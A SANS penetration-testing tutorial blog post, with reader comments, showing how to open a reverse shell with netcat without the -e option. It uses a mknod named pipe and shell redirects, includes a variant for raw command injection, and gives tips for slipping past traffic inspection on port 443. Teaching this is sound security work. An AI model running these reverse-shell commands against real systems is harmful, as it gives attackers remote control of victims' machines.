SANS Penetration Testing

Netcat without -e? No Problem!

by Ed Skoudis

Many pen testers know how to create a reverse backdoor shell with Netcat. But, what do you do if you have a Netcat that doesn't support the -e or -c options to run a shell? And, what if your target doesn't support /dev/tcp? In this article, I'll show you a nifty little work-around using some command-line kung fu with shell redirects.

Background

Netcat is fantastic little tool included on most Linuxes and available for Windows as well. You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I'm telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p). For some versions of Netcat, you leave the -p off of the listener invocation. Note that you need root-level privileges to listen on a port less than 1024. I'm using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed. Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don't bother inspecting that traffic because they expect it to be encrypted. That's a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker's pentestbox on TCP port 443. The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell's Standard Input and Standard Output to the network (that's what Netcat's -e option does... the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we'll see the inbound connection, which we can type commands into as follows (typed commands in bold):

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]
whoami
apache
hostname
victim

But, What If You Don't Have -e Support?

OK. That's all well and good? pretty standard fare for pen testers. But, what if you have a version of Netcat that doesn't support the -e option? In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn't defined in the Netcat source when it is compiled, your resulting Netcat executable won't support -e. Is all hope lost? Not at all. Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all. You can see it in my presentation called "Netcat without Netcat" here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp. What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support? Or, worse yet, what if the target system doesn't even have bash! Some stripped down Linuxes rely on other shells, such as plain old sh or ash. Shudder. Wow? sucks to be you. You've got a target Linux, but without a /dev/tcp and without a -e option in Netcat. Should you just give up? Nope.

I have, near my house, a magical Olive Garden. In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.* I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client. Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

skodo@pentestbox# nc -nvlp 443

Now, on the target machine, I inject the following commands:

victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe

Here, I've first made a named pipe (also called a FIFO) called backpipe using the mknod command. The mknod command lets me create things in the file system, and here I'm creating something called "backpipe" that is of type "p", which is a named pipe. Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option. This FIFO will be used to shuttle data back to our shell's input. I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe). I pipe the output of /bin/sh (|) to my Netcat client. That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443). I then take Netcat's Standard Output and dump it into the backpipe (1>/tmp/backpipe). On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I've seen some weird shells where it doesn't work unless you use 0< and 1>. I always throw them in, just to make sure it'll work.

On the pentestbox machine, it proceeds pretty much like before:

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]
whoami
apache
hostname
victim

But, What If You Have Raw Execution and You're Not in a Shell?

Now, there's one more thing to keep in mind. All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we're invoking the whole command on the victim machine. If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you'll have to modify the command just a bit. You'll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat. Do that by injecting the following command:

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

So, there you have it? a way to make a Netcat behave as though it has a -e or -c option, even though it doesn't, all by leveraging some wonderful shell redirects.

If you like this kind of thing, I recommend you take my SANS Network Penetration Testing and Ethical Hacking Course (SANS Security 560).

I'll be teaching the SANS SEC560 at the SANS Pen Test Austin 2017 in March. The event includes 3 nights of NetWars, and Coin-A-Palooza... you're chance to earn up to 5 of the SANS Pen Test Challenge Coins. :)

Thanks for reading!

-Ed Skoudis.

//
SANS Fellow and Pen Test Curriculum Lead
Founder, Counter Hack

* I have found it very helpful to identify a place as "magical" for the purpose of crazy, whimsical, and useful idea formation. Additionally, it's nice to have a time of day that you consider especially ripe for ideation. When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas. In a cynic's view, you are tricking yourself to come up with ideas. Or, from the optimist's point of view, you are setting the stage for your soul to sour.

The place and time don't have to line up. In fact, it's best if they don't, as you'll get more chances for ideas. For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner. But, the time is dawn, just as the sun is rising, when I'm on my morning walk. Much magic then!

SANS Note:

Ed Skoudis is teaching SANS SEC560: Network Penetration Testing & Ethical Hacking in Bethesda, MD at SANS Pen Test HackFest, in November 2017.

Learn more: https://www.sans.org/event/pen-test-hackfest-2017/course/network-penetration-testing-ethical-hacking

560_EdSkoudis11

SANS Pen Test HackFest 2017

800x320_PT-Hackfest-2017

  • 2-Day Penetration Testing & Ethical Hacking Summit w/ 20+ Speakers
  • 3-Nights of SANS NetWars CtF w/ Coin-A-Palooza, your chance to earn up to five SANS Pen Test Challenge Coins
  • 1-Night of SANS CyberCity Missions - Hack/Defend a Modern City
  • Special Field Trip Experience for all Summit Attendees
  • 9 SANS Training Courses - 6-days of amazing SANS Training
  • https://www.sans.org/hackfest

3 Comments

Posted May 10, 2013 at 4:10 AM | Permalink | Reply

pnig0s

mknod can only run successfully under root or user in root group,so i think it's not very useful under a real pentesting env.

Posted July 9, 2013 at 3:13 AM | Permalink | Reply

nonameplz

pnig0s:
That's file system permissions, not the actual permissions of the command.
$ mknod /dev/test1 p
mknod: `/dev/test1'': Permission denied
$ mknod /tmp/test1 p
$
No special permission is required to make devices on any UNIX I've ever seen, you just need to be able to write to the path. (I'd recommend writing to /dev/shm instead of /tmp or something, to avoid touching disk)

Posted July 9, 2013 at 10:06 AM | Permalink | Reply

Ed Skoudis

pnig0s is correct. Any user can run on mknod. But, you have to create something in a place in the file system where you have permission to write, just as you would with any other command that writes to the file system.

Post a Comment






Captcha


* Indicates a required field.